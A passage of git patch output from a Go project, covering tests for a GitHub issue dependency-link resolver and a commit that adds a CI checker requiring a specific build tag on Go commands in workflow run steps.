case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/dependencies/blocked_by"): + w.WriteHeader(http.StatusNotFound) + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/sub_issues"): + w.WriteHeader(http.StatusNotFound) + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/issues/10"): + // The source issue itself is gone: deleted, renumbered, or hidden. + probes++ + w.WriteHeader(http.StatusNotFound) + default: + t.Errorf("unexpected request %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusInternalServerError) + } + })) + defer server.Close() + + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + {FromNumber: 10, ToNumber: 30, LinkType: githubLinkSubIssue}, + }, PushLinkOptions{}) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v, want none", res.Errors) + } + if res.SourceMissing != 2 { + t.Fatalf("SourceMissing = %d, want 2", res.SourceMissing) + } + if res.UnsupportedSkipped != 0 { + t.Fatalf("UnsupportedSkipped = %d, want 0 - the endpoint was never shown to be absent", res.UnsupportedSkipped) + } + // Both link types hang off issue #10, and the classification is a property + // of the issue, so one probe answers for both. + if probes != 1 { + t.Fatalf("source issue probed %d times, want 1", probes) + } +} + +func TestPushLinksCreateNotFoundCountsUnsupported(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch { + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/dependencies/blocked_by"): + _ = json.NewEncoder(w).Encode([]Issue{}) + case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/issues/20"): + _ = json.NewEncoder(w).Encode(Issue{ID: 2000, Number: 20}) + case r.Method == http.MethodPost && strings.HasSuffix(r.URL.Path, "/dependencies/blocked_by"): + // Listing worked and the target resolved, so a 404 here can only + // be the create endpoint. + w.WriteHeader(http.StatusNotFound) + default: + t.Errorf("unexpected request %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusInternalServerError) + } + })) + defer server.Close() + + resolver := NewLinkResolver(NewClient("token", "o", "r").WithBaseURL(server.URL)) + res := resolver.PushLinks(context.Background(), []DependencyLink{ + {FromNumber: 10, ToNumber: 20, LinkType: githubLinkBlockedBy}, + }, PushLinkOptions{}) + + if len(res.Errors) != 0 { + t.Fatalf("PushLinks errors = %v, want none", res.Errors) + } + if res.UnsupportedSkipped != 1 { + t.Fatalf("UnsupportedSkipped = %d, want 1", res.UnsupportedSkipped) + } + if res.SourceMissing != 0 { + t.Fatalf("SourceMissing = %d, want 0", res.SourceMissing) + } + if res.Created != 0 { + t.Fatalf("Created = %d, want 0", res.Created) + } +} diff --git a/internal/github/review_fixes_test.go b/internal/github/review_fixes_test.go new file mode 100644 index 000000000..5c4626e0f --- /dev/null +++ b/internal/github/review_fixes_test.go @@ -0,0 +1,59 @@ +package github + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" +) + +func TestListRelationshipPages(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + page := r.URL.Query().Get("page") + if page == "1" { + w.Header().Set("Link", "<"+"http://"+r.Host+r.URL.Path+"?page=2&per_page=100>; rel=\"next\"") + } + if page == "2" { + _ = json.NewEncoder(w).Encode([]Issue{{Number: 2}}) + return + } + _ = json.NewEncoder(w).Encode([]Issue{{Number: 1}}) + })) + defer server.Close() + + client := NewClient("token", "owner", "repo").WithBaseURL(server.URL) + for _, get := range []struct { + name string + fn func(context.Context) ([]Issue, error) + }{ + {"sub-issues", func(ctx context.Context) ([]Issue, error) { return client.ListSubIssues(ctx, 7) }}, + {"blocked-by", func(ctx context.Context) ([]Issue, error) { return client.ListBlockedBy(ctx, 7) }}, + } { + t.Run(get.name, func(t *testing.T) { + issues, err := get.fn(context.Background()) + if err != nil { + t.Fatal(err) + } + if len(issues) != 2 || issues[0].Number != 1 || issues[1].Number != 2 { + t.Fatalf("issues = %+v, want both pages", issues) + } + }) + } +} + +func TestRefScopeRejectsForeignHostAndRepository(t *testing.T) { + scope := NewRefScope("https://api.github.com", "owner", "repo") + for _, ref := range []string{ + "https://gitlab.com/owner/repo/issues/12", + "https://github.com/other/repo/issues/12", + "https://github.com/owner/other/issues/12", + } { + if number, ok := scope.IssueNumberFromRef(ref); ok { + t.Fatalf("IssueNumberFromRef(%q) = %d, true; want rejected", ref, number) + } + } + if number, ok := scope.IssueNumberFromRef("https://github.com/owner/repo/issues/12"); !ok || number != 12 { + t.Fatalf("configured ref = %d, %v; want 12, true", number, ok) + } +} diff --git a/internal/github/tracker.go b/internal/github/tracker.go index 08ad33660..b5234e469 100644 --- a/internal/github/tracker.go +++ b/internal/github/tracker.go @@ -34,6 +34,17 @@ type Tracker struct { store tracker.Store } +// LinkResolver returns a relationship resolver bound to this tracker's +// repository, or nil when the tracker has not been initialized. Callers get +// the resolver (and, through it, the repository ref scope) rather than the raw +// REST client, so relationship sync cannot reach past the endpoints it needs. +func (t *Tracker) LinkResolver() *LinkResolver { + if t.client == nil { + return nil + } + return NewLinkResolver(t.client) +} + func (t *Tracker) Name() string { return "github" } func (t *Tracker) DisplayName() string { return "GitHub" } func (t *Tracker) ConfigPrefix() string { return "github" } @@ -227,6 +238,16 @@ func (t *Tracker) ExtractIdentifier(ref string) string { return matches[1] } +// RefScope returns the repository scope used to resolve external refs to issue +// numbers for relationship sync. Refs are deliberately not resolved by issue +// number alone: see RefScope. +func (t *Tracker) RefScope() RefScope { + if t.client == nil { + return RefScope{} + } + return NewRefScope(t.client.BaseURL, t.client.Owner, t.client.Repo) +} + func (t *Tracker) BuildExternalRef(issue *tracker.TrackerIssue) string { if issue.URL != "" { return issue.URL From 46f182aa2665bdd2f27eb2ea7887ff42b8cfb5d0 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 1 Oct 2026 02:24:03 -0600 Subject: [PATCH 015/325] fix(ci): require direct workflow build tags (#5679) * fix(ci): require direct workflow build tags Parse workflow run scalars structurally and require recognizable direct Go commands to declare the literal gms_pure_go tag. Keep shell and Make checks lightweight and preserve their existing conventions. Fixes #5527 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(ci): recognize double-dash Go build tag flags Address PR #5679 review 5191180453. Preserve last-tag precedence and test argument boundaries, including --args. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(ci): bazel-sync the new checker, restore its opt-out and the Bazel census Maintainer review fixes for PR #5679, adoption iterations 1 and 2. Iteration 1's synthesis is `request_changes` on one major plus three minors; all four are addressed. Iteration 2 approves with one minor, also addressed. Major (Release Safety): the PR adds two production Go packages with no BUILD.bazel, so `bazel build //...` could not see them and the repo's own "BUILD files in sync" step fails on the resulting gazelle drift. Added the two generated files via `make bazel-sync`; yaml.v3 is already a direct go.mod requirement, so no module change is owed. Minor (Release Safety): the new checker runs in the required pr-policy lane with no way out, while the shell checker it partly replaces honors `# build-tags: allow-bare` in a file's first five lines (check-build-tags.sh, and engdocs/ICU-POLICY.md documents that window). CheckDir now honors the same marker in the same window -- one convention, not two -- pinned by a table that includes the fifth line and the sixth, so the two checkers cannot drift apart on where the window ends. Minor (Change Impact): dropping the workflow glob from `candidates` moved workflows to the Go checker but also, silently, out of the `bazel_users` census -- and the Go checker does no Bazel handling at all, so .bazelrc could have lost its tag with this gate still green. Workflows now feed the census through their own `git ls-files` list and a separate loop, deliberately not rejoining the `go`-verb scan. This is not hypothetical: `.github/workflows/bazel.yml` matches the Bazel invocation regex, so it is exactly the file the census was losing. Minor (Test Evidence): `Line` is the operator-facing half of a violation -- it is what the error message points at -- and nothing asserted it, so reporting every violation at line 1 would have been invisible. Added a `wantLine` column, asserted on the multi-line "source is not workflow authority" case (line 2), and asserted `Path`/`Job` where CheckDir fills them in. One deviation, recorded: the finding also asked for `Line` on the existing "continuation" case. That case is tagged, so it reports no violation and has no Line to assert. Added a continuing-but-violating case instead, which makes the same attribution observable -- a logical line spanning three physical ones is reported at the first. Not included: `make bazel-sync` also wants `//internal/debug` in internal/utils/BUILD.bazel. That is base drift, not PR content -- absent at this branch's rebase base but already present on origin/main, 24 commits ahead -- so it heals on the next base refresh, and carrying it would duplicate main's own fix on a file this PR never touches. Minor (Test Evidence, iteration 2): the census half of the Change Impact fix was right in code but pinned by nothing -- turning the workflow `bazel_users` append into a no-op, or feeding the census-only list into the `go`-verb loop, left every check_build_tags_test.go case green. Two cases on the existing fixture harness now pin both directions: a workflow that runs `bazel build` with an untagged .bazelrc fails and is named as the Bazel user, and a workflow `run: go test ./...` passes here because scripts/checkworkflowtags owns it. Each fails under its mutant, as does one more apiece (re-adding the workflow glob to `candidates`; dropping `*.yml` from the census list), while the three existing cases stay green under all four. Validation: ./scripts/workflowtags passes (all four CheckDir tests and the full CheckRun table), `go vet ./scripts/...` clean, `bash -n` clean, and both checkers run green against the repository itself -- check-build-tags.sh reports 90 files scanned all clear, and checkworkflowtags reports all direct commands clear. For iteration 2, `go test ./scripts/` passes, and on a merge with current main `bazel test //scripts:scripts_test` passes too; on this branch's own base that target cannot build, because of the internal/utils drift noted above. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(ci): pin main.yml's bd-cmd-test build to the literal gms_pure_go tag #6940 pinned main.yml build-artifacts' non-race bd-cmd-test build as `go test -tags "$BEADS_BUILD_TAGS" -c -o artifacts/bd-cmd-test ./cmd/bd`. This PR requires a literal gms_pure_go tag on direct workflow Go commands and rewrites that line to `go test -tags gms_pure_go -c ...`, so on current main TestBazelDoltServerTiersMirrorPRRisk fails in both `go test ./scripts` and //scripts:scripts_test. Restoring the pinned spelling is not an option: checkworkflowtags rejects it ("direct `go test` must declare literal gms_pure_go in -tags"). Update the pin to the literal spelling. It still pins what #6940 cares about, a non-race bd-cmd-test built from ./cmd/bd: adding -race to that line still fails the test. Co-Authored-By: Claude Opus 5.5 --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- .github/workflows/ci-measurements.yml | 7 +- .github/workflows/main.yml | 9 +- .github/workflows/pr.yml | 7 +- engdocs/ICU-POLICY.md | 17 +- scripts/check-build-tags.sh | 33 ++- scripts/check_build_tags_test.go | 35 +++ scripts/checkworkflowtags/BUILD.bazel | 15 + scripts/checkworkflowtags/main.go | 24 ++ scripts/ci/pr-policy.sh | 2 + scripts/ci_workflow_test.go | 2 +- scripts/workflowtags/BUILD.bazel | 15 + scripts/workflowtags/workflowtags.go | 317 ++++++++++++++++++++++ scripts/workflowtags/workflowtags_test.go | 204 ++++++++++++++ 13 files changed, 666 insertions(+), 21 deletions(-) create mode 100644 scripts/checkworkflowtags/BUILD.bazel create mode 100644 scripts/checkworkflowtags/main.go create mode 100644 scripts/workflowtags/BUILD.bazel create mode 100644 scripts/workflowtags/workflowtags.go create mode 100644 scripts/workflowtags/workflowtags_test.go diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml index aa807bf7d..21eb6a653 100644 --- a/.github/workflows/ci-measurements.yml +++ b/.github/workflows/ci-measurements.yml @@ -134,7 +134,7 @@ jobs: # -timeout=30m matches the macOS lanes this measures (pr.yml, main.yml). # This is the job that produced the ./cmd/bd duration distribution, and # at 10m it clips its own longest samples into timeout panics. - ci_time "macos short go test" -- go test -v -race -short -timeout=30m -skip '^TestEmbedded' ./... + ci_time "macos short go test" -- go test -tags=gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./... macos-candidates: name: Measure macOS no-short candidates @@ -499,7 +499,7 @@ jobs: source scripts/ci/lib/timing.sh source ./.buildflags - ci_time "build cmd/bd subprocess binary" -- go build -tags "$BEADS_BUILD_TAGS" -o artifacts/bd ./cmd/bd + ci_time "build cmd/bd subprocess binary" -- go build -tags gms_pure_go -o artifacts/bd ./cmd/bd - name: Upload prebuilt bd uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 @@ -667,7 +667,7 @@ jobs: source scripts/ci/lib/timing.sh source ./.buildflags - ci_time "build candidate binary" -- go build -o /tmp/bd-candidate ./cmd/bd + ci_time "build candidate binary" -- go build -tags gms_pure_go -o /tmp/bd-candidate ./cmd/bd export CANDIDATE_BIN=/tmp/bd-candidate if [[ -z "$SMOKE_VERSION" ]]; then SMOKE_VERSION="$(gh release list --repo "$GITHUB_REPOSITORY" --limit 1 --json tagName --jq '.[0].tagName')" @@ -763,4 +763,3 @@ jobs: path: artifacts/ retention-days: 7 if-no-files-found: ignore - diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index cf73b815a..aed94b373 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -93,9 +93,9 @@ jobs: source ./.buildflags go_version="$(go version)" commit="$(git rev-parse HEAD)" - go build -tags "$BEADS_BUILD_TAGS" -o artifacts/bd-linux-gms-pure ./cmd/bd + go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd chmod +x artifacts/bd-linux-gms-pure - go test -tags "$BEADS_BUILD_TAGS" -c -o artifacts/bd-cmd-test ./cmd/bd + go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd chmod +x artifacts/bd-cmd-test ( cd artifacts @@ -130,9 +130,8 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - # Fast check: every `go build|test|run|generate|install` invocation in - # tracked scripts/hooks/CI carries -tags=gms_pure_go. Prevents ICU-linkage - # regressions from re-entering the build (see engdocs/ICU-POLICY.md). + # Fast shell/Make guard for direct source-time build-tag declarations. + # Workflow `run` steps are checked structurally in the required policy wrapper. check-build-tags: name: Check build-tag policy runs-on: ubuntu-latest diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 3964f3bd4..e4778ab42 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -56,7 +56,7 @@ jobs: source ./.buildflags go_version="$(go version)" commit="$(git rev-parse HEAD)" - go build -tags "$BEADS_BUILD_TAGS" -o artifacts/bd-linux-gms-pure ./cmd/bd + go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd chmod +x artifacts/bd-linux-gms-pure ( cd artifacts @@ -154,9 +154,8 @@ jobs: run: | echo "::warning title=Example build check skipped::checkout or Go setup failed, so examples/ could not be checked this run (checkout: ${{ steps.checkout.outcome }}, setup-go: ${{ steps.setup-go.outcome }}). Advisory only; this does not block the merge." - # Fast check: every `go build|test|run|generate|install` invocation in - # tracked scripts/hooks/CI carries -tags=gms_pure_go. Prevents ICU-linkage - # regressions from re-entering the build (see engdocs/ICU-POLICY.md). + # Fast shell/Make guard for direct source-time build-tag declarations. + # Workflow `run` steps are checked structurally in the required policy wrapper. check-build-tags: name: Check build-tag policy runs-on: ubuntu-latest diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index d6a77da2d..487541077 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -86,7 +86,7 @@ passes the tag inline (`-tags gms_pure_go`). CI runs `scripts/check-build-tags.sh` on every PR (see the `Check build-tag policy` job in `.github/workflows/pr.yml`). It fails if any tracked shell script, -CI workflow, git hook, or the Makefile contains a +git hook, or the Makefile contains a `go build|test|run|generate|install` invocation that: - does not carry `-tags=...gms_pure_go`, AND @@ -95,8 +95,19 @@ CI workflow, git hook, or the Makefile contains a value contains `gms_pure_go`, AND - is not a third-party tool install (`go install X@version` / `go run X@version`). -This is the source-time companion to `scripts/verify-cgo.sh` (runtime). -Between the two, an ICU regression cannot reach a release binary. +The required policy wrapper separately parses GitHub Actions YAML and checks +the first recognizable direct first-party Go command on each logical line in +`jobs.*.steps[*].run`. Each such command declares the literal `gms_pure_go` tag +in its own `-tags` argument; +sources and variables elsewhere in a workflow do not establish that source +convention. This is deliberately not shell control-flow analysis: dynamic +payloads, later compound-command segments, command substitutions, and +sourced-script internals are outside the check's contract. The pinned-tool +exception covers the repository's simple `go install path@version` and +`go run path@version` source forms. + +These source-time guards complement `scripts/verify-cgo.sh`, which checks the +release binary at runtime. To intentionally opt a file out (e.g. because it tests the ICU path), add `# build-tags: allow-bare` within the first five lines of the file. diff --git a/scripts/check-build-tags.sh b/scripts/check-build-tags.sh index 895d458f9..7422d8cb7 100755 --- a/scripts/check-build-tags.sh +++ b/scripts/check-build-tags.sh @@ -1,7 +1,7 @@ #!/usr/bin/env bash # check-build-tags.sh — source-time guard for ICU regression. # -# Scans tracked scripts, CI workflows, and git hooks. Fails when a +# Scans tracked shell scripts, git hooks, and the Makefile. Fails when a # `go build|test|run|generate|install` invocation neither: # (a) carries -tags=...gms_pure_go itself, nor # (b) appears in a file that sources .buildflags beforehand, nor @@ -12,6 +12,9 @@ # scanned file invokes Bazel, the script instead requires .bazelrc to set # `--@rules_go//go/config:tags=...gms_pure_go` for build (and so test/run). # +# GitHub Actions `run` steps are no longer scanned here; they are checked +# structurally by scripts/checkworkflowtags. +# # This is the source-time companion to scripts/verify-cgo.sh (which is a # runtime check on release binaries). See engdocs/ICU-POLICY.md. @@ -21,17 +24,29 @@ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" cd "$REPO_ROOT" -# Candidate files: shell scripts, workflows, git hooks, the Makefile. +# Candidate files: shell scripts, git hooks, and the Makefile. Workflow `run` +# steps are checked structurally by scripts/checkworkflowtags, so they are no +# longer scanned for bare `go` commands here. mapfile -t candidates < <( git ls-files \ '*.sh' \ - '.github/workflows/*.yml' \ - '.github/workflows/*.yaml' \ '.github/scripts/*' \ '.githooks/*' \ 'Makefile' 2>/dev/null || true ) +# ...but the Bazel census below is a separate question, and workflows are where +# most `bazel` invocations live. Moving workflows to the Go checker dropped them +# from `bazel_users` as a side effect, which would let .bazelrc lose its tag with +# this gate still green — and scripts/checkworkflowtags does no Bazel handling at +# all. So workflows keep feeding the census through their own list. Kept separate +# from `candidates` on purpose: this list must NOT re-enter the `go`-verb scan. +mapfile -t bazel_census_only < <( + git ls-files \ + '.github/workflows/*.yml' \ + '.github/workflows/*.yaml' 2>/dev/null || true +) + # Files that intentionally opt out of the policy. opt_out_regex='^(scripts/test-cgo\.sh|scripts/test-icu-path\.sh|scripts/check-build-tags\.sh|examples/)' @@ -165,6 +180,16 @@ for f in "${candidates[@]}"; do done < <(grep -n -E '\bgo[[:space:]]+(build|test|run|generate|install)\b' "$f" 2>/dev/null || true) done +# Workflows contribute to the Bazel census only. Deliberately a separate loop +# rather than another arm in the one above: nothing here may reach the `go`-verb +# scan, which scripts/checkworkflowtags now owns for these files. +for f in "${bazel_census_only[@]}"; do + [[ -f "$f" ]] || continue + if grep -Eq "$bazel_invocation_regex" "$f" 2>/dev/null; then + bazel_users+=("$f") + fi +done + # Bazel: every `bazel` invocation reads the committed .bazelrc, so the tag # must be set there once. Accept `build` or `common` (test/run inherit build). bazelrc_tag_regex='^[[:space:]]*(build|common)[[:space:]]+(.*[[:space:]])?--@(@)?rules_go//go/config:tags=([^[:space:]]*,)?gms_pure_go(,[^[:space:]]*)?([[:space:]]|$)' diff --git a/scripts/check_build_tags_test.go b/scripts/check_build_tags_test.go index e37c9cf25..b3ff0e112 100644 --- a/scripts/check_build_tags_test.go +++ b/scripts/check_build_tags_test.go @@ -101,3 +101,38 @@ func TestCheckBuildTagsRequiresBazelrcTagForBazelUsers(t *testing.T) { t.Fatalf(".bazelrc without gms_pure_go was accepted:\n%s", out) } } + +// Workflows are not scanned for `go` commands here, but they still feed the +// Bazel census: a workflow that invokes Bazel requires the .bazelrc tag and is +// named as the reason. +func TestCheckBuildTagsCountsWorkflowBazelUsers(t *testing.T) { + out, err := runCheckBuildTags(t, map[string]string{ + ".github/workflows/ci.yml": "jobs:\n" + + " build:\n" + + " runs-on: ubuntu-latest\n" + + " steps:\n" + + " - run: bazel build //...\n", + ".bazelrc": "build --incompatible_strict_action_env\n", + }) + if err == nil { + t.Fatalf(".bazelrc without gms_pure_go was accepted for a workflow Bazel user:\n%s", out) + } + if !strings.Contains(out, ".github/workflows/ci.yml") { + t.Errorf("expected .github/workflows/ci.yml to be reported as a Bazel user, got:\n%s", out) + } +} + +// Workflow `run` steps are checked structurally by scripts/checkworkflowtags; +// the line scan here must not police them as well. +func TestCheckBuildTagsSkipsWorkflowGoCommands(t *testing.T) { + out, err := runCheckBuildTags(t, map[string]string{ + ".github/workflows/ci.yml": "jobs:\n" + + " test:\n" + + " runs-on: ubuntu-latest\n" + + " steps:\n" + + " - run: go test ./...\n", + }) + if err != nil { + t.Fatalf("a workflow go command was scanned by check-build-tags.sh: %v\n%s", err, out) + } +} diff --git a/scripts/checkworkflowtags/BUILD.bazel b/scripts/checkworkflowtags/BUILD.bazel new file mode 100644 index 000000000..35e736649 --- /dev/null +++ b/scripts/checkworkflowtags/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library") + +go_library( + name = "checkworkflowtags_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/checkworkflowtags", + visibility = ["//visibility:private"], + deps = ["//scripts/workflowtags"], +) + +go_binary( + name = "checkworkflowtags", + embed = [":checkworkflowtags_lib"], + visibility = ["//visibility:public"], +) diff --git a/scripts/checkworkflowtags/main.go b/scripts/checkworkflowtags/main.go new file mode 100644 index 000000000..5344cc938 --- /dev/null +++ b/scripts/checkworkflowtags/main.go @@ -0,0 +1,24 @@ +package main + +import ( + "fmt" + "os" + "path/filepath" + + "github.com/steveyegge/beads/scripts/workflowtags" +) + +func main() { + violations, err := workflowtags.CheckDir(filepath.Join(".github", "workflows")) + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + for _, violation := range violations { + fmt.Fprintf(os.Stderr, "%s job %q step %q run line %d: %s\n", violation.Path, violation.Job, violation.Step, violation.Line, violation.Message) + } + if len(violations) != 0 { + os.Exit(1) + } + fmt.Println("workflow build-tag declarations: all direct commands clear") +} diff --git a/scripts/ci/pr-policy.sh b/scripts/ci/pr-policy.sh index 4035663ad..4a0436bcd 100755 --- a/scripts/ci/pr-policy.sh +++ b/scripts/ci/pr-policy.sh @@ -103,6 +103,8 @@ build_docs_binary() { } ci_time "check build-tag policy" -- ./scripts/check-build-tags.sh +ci_time "check workflow build-tag declarations" -- \ + go run -tags=gms_pure_go ./scripts/checkworkflowtags ci_time "check go install guidance" -- ./scripts/check-go-install-guidance.sh ci_time "check version consistency" -- ./scripts/check-versions.sh ci_time "build bd for docs checks" -- build_docs_binary diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index d99de1a13..2a78f845f 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -3183,7 +3183,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { // is not race: bd_proxied_test (race, like PR Risk's) is the stricter of // the two. Pinned so a change there is a decision, not drift. mainYML := readCIWorkflow(t, "main.yml") - if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags "$BEADS_BUILD_TAGS" -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { + if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { t.Errorf("main.yml build-artifacts no longer builds the non-race bd-cmd-test this tier is documented against (.bazelrc, cmd/bd:bd_proxied_test):\n%s", run) } if got := mainYML.job(t, "test-proxied-cmd").step(t, "Test proxied-server cmd shard").Env["BEADS_TEST_CMD_BINARY"]; got != "${{ github.workspace }}/ci-build-artifacts/bd-cmd-test" { diff --git a/scripts/workflowtags/BUILD.bazel b/scripts/workflowtags/BUILD.bazel new file mode 100644 index 000000000..06ccb766f --- /dev/null +++ b/scripts/workflowtags/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "workflowtags", + srcs = ["workflowtags.go"], + importpath = "github.com/steveyegge/beads/scripts/workflowtags", + visibility = ["//visibility:public"], + deps = ["@in_gopkg_yaml_v3//:yaml_v3"], +) + +go_test( + name = "workflowtags_test", + srcs = ["workflowtags_test.go"], + embed = [":workflowtags"], +) diff --git a/scripts/workflowtags/workflowtags.go b/scripts/workflowtags/workflowtags.go new file mode 100644 index 000000000..d02512e32 --- /dev/null +++ b/scripts/workflowtags/workflowtags.go @@ -0,0 +1,317 @@ +// Package workflowtags checks the repository's source convention for direct Go +// commands in GitHub Actions run steps. It recognizes only the first simple +// command on each logical line and deliberately does not interpret arbitrary +// shell control flow, substitutions, or sourced scripts. +package workflowtags + +import ( + "fmt" + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "unicode" + + "gopkg.in/yaml.v3" +) + +var assignment = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*=`) + +// Violation identifies a direct workflow Go command missing the required tag. +type Violation struct { + Path string + Job string + Step string + Line int + Message string +} + +// CheckDir checks every workflow YAML file immediately under dir. +func CheckDir(dir string) ([]Violation, error) { + paths, err := filepath.Glob(filepath.Join(dir, "*.y*ml")) + if err != nil { + return nil, err + } + if len(paths) == 0 { + return nil, fmt.Errorf("no GitHub Actions workflows found under %s", dir) + } + sort.Strings(paths) + + var violations []Violation + for _, path := range paths { + // #nosec G304 -- path is emitted by the bounded workflow glob above. + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + if allowsBareCommands(data) { + continue + } + var workflow workflow + if err := yaml.Unmarshal(data, &workflow); err != nil { + return nil, fmt.Errorf("parse %s: %w", path, err) + } + jobNames := make([]string, 0, len(workflow.Jobs)) + for jobName := range workflow.Jobs { + jobNames = append(jobNames, jobName) + } + sort.Strings(jobNames) + for _, jobName := range jobNames { + job := workflow.Jobs[jobName] + for stepIndex, step := range job.Steps { + stepName := step.Name + if stepName == "" { + stepName = fmt.Sprintf("step %d", stepIndex+1) + } + for _, runViolation := range CheckRun(step.Run) { + runViolation.Path = path + runViolation.Job = jobName + runViolation.Step = stepName + violations = append(violations, runViolation) + } + } + } + } + return violations, nil +} + +type workflow struct { + Jobs map[string]workflowJob `yaml:"jobs"` +} + +type workflowJob struct { + Steps []workflowStep `yaml:"steps"` +} + +type workflowStep struct { + Name string `yaml:"name"` + Run string `yaml:"run"` +} + +// allowsBareCommands reports whether a workflow opts out of this check with the +// repository's existing marker in its first five lines. +// +// This check runs in the required pr-policy lane, so without an opt-out a +// workflow that legitimately needs a bare `go` command has no way through. The +// marker and its five-line window are not invented here: scripts/check-build-tags.sh +// already honors exactly `^# build-tags: allow-bare` within `head -n 5`, and +// engdocs/ICU-POLICY.md documents it as the file-level escape. Matching that +// spelling and that window keeps one convention rather than two, so an operator +// who learned the shell checker's marker finds it works on workflows too. +func allowsBareCommands(data []byte) bool { + for i, line := range strings.Split(string(data), "\n") { + if i >= 5 { + return false + } + if strings.HasPrefix(line, "# build-tags: allow-bare") { + return true + } + } + return false +} + +// CheckRun checks recognizable direct commands in one decoded run scalar. +func CheckRun(run string) []Violation { + lines := strings.Split(strings.ReplaceAll(run, "\r\n", "\n"), "\n") + var violations []Violation + for i := 0; i < len(lines); i++ { + lineNumber := i + 1 + logical := lines[i] + for trailingUnquotedBackslash(logical) && i+1 < len(lines) { + logical = strings.TrimSpace(strings.TrimSuffix(strings.TrimRightFunc(logical, unicode.IsSpace), "\\")) + " " + strings.TrimSpace(lines[i+1]) + i++ + } + + words, err := tokenize(logical) + if err != nil { + // Malformed or complex shell syntax is outside this bounded source check. + continue + } + goArgs, ok := directGoArgs(words) + if !ok || exemptVersionedTool(goArgs) || hasRequiredTag(goArgs) { + continue + } + violations = append(violations, Violation{ + Line: lineNumber, + Message: fmt.Sprintf("direct `go %s` must declare literal gms_pure_go in -tags", goArgs[0]), + }) + } + return violations +} + +func directGoArgs(words []string) ([]string, bool) { + words = skipEnvPrefix(words) + if len(words) > 0 && words[0] == "ci_time" { + separator := -1 + for i, word := range words[1:] { + if word == "--" { + separator = i + 1 + break + } + } + if separator < 0 { + return nil, false + } + words = skipEnvPrefix(words[separator+1:]) + } + if len(words) < 2 || words[0] != "go" { + return nil, false + } + switch words[1] { + case "build", "test", "run", "generate", "install": + return words[1:], true + default: + return nil, false + } +} + +func skipEnvPrefix(words []string) []string { + if len(words) > 0 && words[0] == "env" { + words = words[1:] + for len(words) > 0 { + switch { + case words[0] == "--": + words = words[1:] + goto assignments + case words[0] == "-i" || words[0] == "--ignore-environment": + words = words[1:] + case words[0] == "-u" || words[0] == "--unset" || words[0] == "-C" || words[0] == "--chdir": + if len(words) < 2 { + return nil + } + words = words[2:] + case strings.HasPrefix(words[0], "--unset=") || strings.HasPrefix(words[0], "--chdir="): + words = words[1:] + default: + goto assignments + } + } + } +assignments: + for len(words) > 0 && assignment.MatchString(words[0]) { + words = words[1:] + } + return words +} + +func hasRequiredTag(goArgs []string) bool { + lastTags := "" + found := false + for i := 1; i < len(goArgs); i++ { + arg := goArgs[i] + if arg == "--" || (goArgs[0] == "test" && (arg == "-args" || arg == "--args")) { + break + } + switch { + case arg == "-tags" || arg == "--tags": + if i+1 >= len(goArgs) { + lastTags = "" + found = true + break + } + i++ + lastTags = goArgs[i] + found = true + case strings.HasPrefix(arg, 